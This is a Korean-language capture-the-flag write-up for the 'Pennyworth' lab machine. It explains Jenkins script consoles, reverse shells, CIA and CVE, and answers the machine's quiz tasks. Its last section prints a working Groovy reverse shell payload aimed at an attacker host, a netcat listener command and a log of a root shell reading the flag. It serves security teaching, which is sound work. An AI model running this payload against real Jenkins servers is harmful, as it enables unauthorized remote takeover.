
1. Target Overview (머신 요약)
- Target Name: Pennyworth
- OS: Linux
- Difficulty: Tier 1 (Starting Point)
- Vulnerability: Unauthenticated Jenkins Script Console (인증이 누락된 스크립트 제어 콘솔)
- Attack Vector: Groovy Script RCE ➔ Netcat 리버스 쉘 연결 ➔ 운영체제 제어권 장악
2. 핵심 개념 총정리
① Jenkins Script Console 및 Groovy
- Jenkins
- 소프트웨어 개발의 빌드, 테스트, 배포를 자동화하는 Java 기반의 오픈소스 서버
- 관리 편의성을 위해 Groovy 언어를 사용
- 서버의 내부 런타임 환경에서 코드를 직접 실행할 수 있는 '스크립트 콘솔'을 제공
- 관리자의 설정 오류로 이 콘솔이 외부(Public)에 인증 없이 노출될 경우
- 공격자는 임의의 시스템 명령(RCE)을 실행할 수 있는 치명적인 취약점이 발생
② 리버스 쉘 (Reverse Shell)
- 타겟 서버의 방화벽이 외부에서 내부로 들어오는 연결(Inbound)을 엄격하게 차단하고 있을 때 이를 우회하기 위한 네트워크 해킹 기법
- 공격자가 로컬에 리스너(Listener)를 열어두고, 타겟 서버가 공격자의 PC를 향해 스스로 먼저 연결(Outbound)을 맺도록 악성 스크립트를 주입하여 쉘(Shell) 제어권을 획득
③ 보안의 3요소 (CIA Triad)와 CVE
- CIA
- 정보보안의 근간이 되는 기밀성(Confidentiality), 무결성(Integrity), 가용성(Availability)의 약자
- CVE
- Common Vulnerabilities and Exposures의 약자
- 공개적으로 알려진 소프트웨어의 보안 취약점과 노출 상태에 고유한 식별 번호를 부여하는 국제 표준 데이터베이스 체계
[Task 1] What does the acronym CVE stand for?
- 정답: Common Vulnerabilities and Exposures
- 분석: 전 세계 보안 전문가들이 취약점을 표준화된 포맷으로 식별하고 공유하기 위해 사용하는 공식 명칭
[Task 2] What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?
- 정답: Confidentiality, Integrity, Availability
- 분석: 정보보안 프레임워크의 가장 핵심적인 3대 목표(기밀성, 무결성, 가용성)
[Task 3] What is the version of the service running on port 8080?
- 정답: Jetty
- 참고: Nmap 스캔 시 버전에 따라 Jetty 10.0.18 등 세부 버전이 노출될 수 있음.
- 분석: Nmap 서비스 스캔(-sV) 결과, 8080/tcp 포트에서 Jenkins를 구동하기 위해 내장된(Embedded) 웹 서버 엔진인 Jetty가 수신 대기 중임을 확인

[Task 4] What version of Jenkins is running on the target?
- 정답: 2.462.1
- 분석: 8080 포트로 전송한 HTTP 요청의 응답 헤더(X-Jenkins 헤더) 또는 웹 UI 하단을 분석하여 타겟에서 구동 중인 Jenkins의 정확한 소프트웨어 버전을 식별

[Task 5] What type of script is accepted as input on the Jenkins Script Console?
- 정답: Groovy
- 분석: Jenkins 플랫폼은 Java 플랫폼용 동적 객체 지향 프로그래밍 언어인 Groovy를 통해 스크립트 콘솔 명령을 파싱하고 실행
[Task 6] What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?
- 정답: cmd.exe
- 분석
- 대상 OS가 Linux일 경우 쉘 실행 변수는 /bin/bash 또는 /bin/sh가 되지만,
- Windows 운영체제일 경우 명령 프롬프트 바이너리인 cmd.exe를 호출해야 함.
[Task 7] What is a different command than "ip a" we could use to display our network interfaces' information on Linux?
- 정답: ifconfig
- 분석: 로컬(공격자) 환경의 VPN IP 주소(tun0)를 확인하여 리버스 쉘 페이로드에 삽입하기 위해 사용하는 전통적인 리눅스 네트워크 인터페이스 조회 명령
[Task 8] What switch should we use with netcat for it to use UDP transport mode?
- 정답: -u
- 분석: 기본적으로 Netcat(nc)은 TCP 프로토콜을 사용하지만, 통신 방식을 UDP로 강제 변경해야 할 때 사용하는 파라미터
[Task 9] What is the term used to describe making a target host initiate a connection back to the attacker host?
- 정답: Reverse Shell
- 분석: 타겟 호스트가 공격자의 리스닝 포트로 자발적인 연결을 수립하게 만들어 쉘 권한을 넘겨주는 네트워크 기법
[Root Flag] 시스템 침투 및 플래그 추출
- 분석: 이번 침투의 핵심은 Jenkins Script Console을 이용한 RCE(원격 코드 실행)와 리버스 쉘(Reverse Shell) 획득
- 웹 브라우저로 http://[Target IP]:8080에 접속하여 아무런 인증 없이 메인 대시보드에 접근 가능한 것을 확인
- Manage Jenkins ➔ Script Console 메뉴(또는 /script URL)로 이동하여 제어 콘솔을 확보
- 로컬 공격자 PC 터미널에서 Netcat을 이용해 리버스 쉘을 받을 준비(리스닝)를 합니다. (nc -lnvp 8000)
- Script Console에 공격자의 IP와 포트(8000)로 연결을 시도하는 악의적인 Groovy 리버스 쉘 페이로드를 작성하고 실행(Run)
- Netcat 터미널에 타겟 시스템의 쉘이 성공적으로 연결(Reverse Connection)되면, id 명령어로 최고 관리자(root) 권한임을 확인하고 플래그를 탈취
// Jenkins Script Console에 주입한 Groovy 리버스 쉘 페이로드 예시
String host="[공격자(VPN) IP 주소]";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch(Exception e){}
}
p.destroy();s.close();
# 로컬 공격자 PC (Kali Linux) 통신 대기 및 시스템 장악
$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [공격자 IP] from (UNKNOWN) [Target IP] 54321
root@pennyworth:/# id
uid=0(root) gid=0(root) groups=0(root)
root@pennyworth:/# cat /root/flag.txt


Discussion 0